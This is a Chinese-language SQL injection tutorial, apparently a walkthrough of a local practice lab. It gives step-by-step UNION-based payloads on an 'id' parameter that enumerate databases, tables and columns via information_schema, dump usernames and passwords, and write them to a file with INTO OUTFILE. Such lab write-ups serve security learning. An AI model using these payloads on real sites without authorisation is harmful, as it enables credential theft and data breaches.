写在前面:SQL注入是一个需要不断尝试的过程,其中可能出现很多问题才能有一次成功,不要心急,多尝试,多学习,多总结。
分析所给提示:
为了学习的目的,尽可能的多做一些尝试:
在URL中输入id参数 ?id=1'
,返回报错信息: Erreur de syntaxe pr�s de '''' LIMIT 0,1' � la ligne 1
关于回显问题,可用设置语言包将其调成英文模式,具体操作: 直通车
从错误信息中可以看出,这是一个字符型(”1”),且限定只输出1行(LIMT 0,1)。
可用的注入方式:
?id=1 这是一个正常的查询过程。为了学习SQL注入,并不使用它来查询。
?id= ' or '1'='1
?id= ' or 1=1 %23
%23是 # 的URL编码,#是MySQL的注释符。在我尝试过程中,直接输入#依旧会报错,%23则能正确输出。还有一种注释方法:
?id=' or 1=1 --+
确定问题参数和漏洞类型:id参数,字符型漏洞
只有确定了字段数,才可以使用union这个关键词连接我们的查询语句。可以采用order by 来确定字段数。
如:?id=1’ order by 1 %23
表示通过第一字段的顺序进行排序,当输入order by x报错时,就说明没有这个字段,就可以得到输出的字段数了。在这个系统中,经过测试,输出字段数为3.
查看一下本地的数据库:
确实只有三个字段,分别为id、username、password。
接下来,使用union语句来判断各字段的类型以及判断能够在页面显示的字段。
?id=-1' union select 1,2,3 %23
注意:这里的id= -1,使它不返回其他信息,执行后面的语句。
从中看出能在页面上显示的是第2,3字段。
现在我们已经知道了输出的字段数了,可以使用union这个关键词了。首先试试确定数据库的名字,设计如下payload:
?id=-1’ union select 1,database(),3 %23
回显如图:
从而知道了当前使用的数据库的名字是 security。
还有一种方法,可以爆出所有的数据库名,payload:
?id=-1' union select 1,group_concat(SCHEMA_NAME),3
from information_schema.SCHEMATA%23
红线部分即为MySQL中的所有数据库。
说明:
?id=-1' union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA%23
在实际中有时候也可以,表示选择information_schema数据库中,SCHEMATA这个表的SCHEMA_NAME字段的值。关于information_schema这个数据库,有兴趣可以再查资料。
在这里不行的原因是它返回的是一个数组,分为一个一个的字符串,在这里只能显示第一个字符串,即information_schema。
GROUP_CONCAT(expr) 该函数返回带有来自一个组的连接的非NULL值的字符串结果。在这里,这个函数将原先返回的字符串数组拼接成一个完整的字符串输出。
Payload:
?id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security'%23
这个就不分析了,就是从TABLES表中将TABLE_SCHEMA字段中名为security的数据全部返回。 可以通过phpmyadmin等工具查看本地数据库中内容。
Payload:
?id=-1' union select 1,group_concat(COLUMN_NAME),3
from information_schema.COLUMNS
where TABLE_NAME = 'users' and TABLE_SCHEMA = 'Security'%23
注意:如果你要精确的查出某表的字段名,你就需要加两个限定条件,TABLE_NAME = ‘users’指定查找名为users表中的字段,由于可能存在多个数据库,查出来的数据可能比该表的真实字段多;所以再加上一个限定条件,TABLE_SCHEMA = ‘Security’ 指定数据库为Security。
字段名为:id,username,password。
?id=-1' union select 1,group_concat(DATA_TYPE),3
from information_schema.COLUMNS where TABLE_NAME = 'users'
and TABLE_SCHEMA = 'security'%23
从中看出对应的字段类型:id为int型,username为varchar型,password为varchar型。
?id=-1' union select 1,username,password from users where id=3%23
这里限制了输出,可以通过指定id的方式逐条查询。
通过指定id查询记录数,得知id最大到14,其中id=13项缺失,所以也可以仿造前面的方法,直接查看全部数据。注意这只能用在小数据量的表中。
?id=-1' union select 1,group_concat(username),group_concat(password) from users %23
?id=-1' union select 1,username,password from users
into outfile 'e:/user.txt'%23
将查询记录输出到e:/user.txt文件中。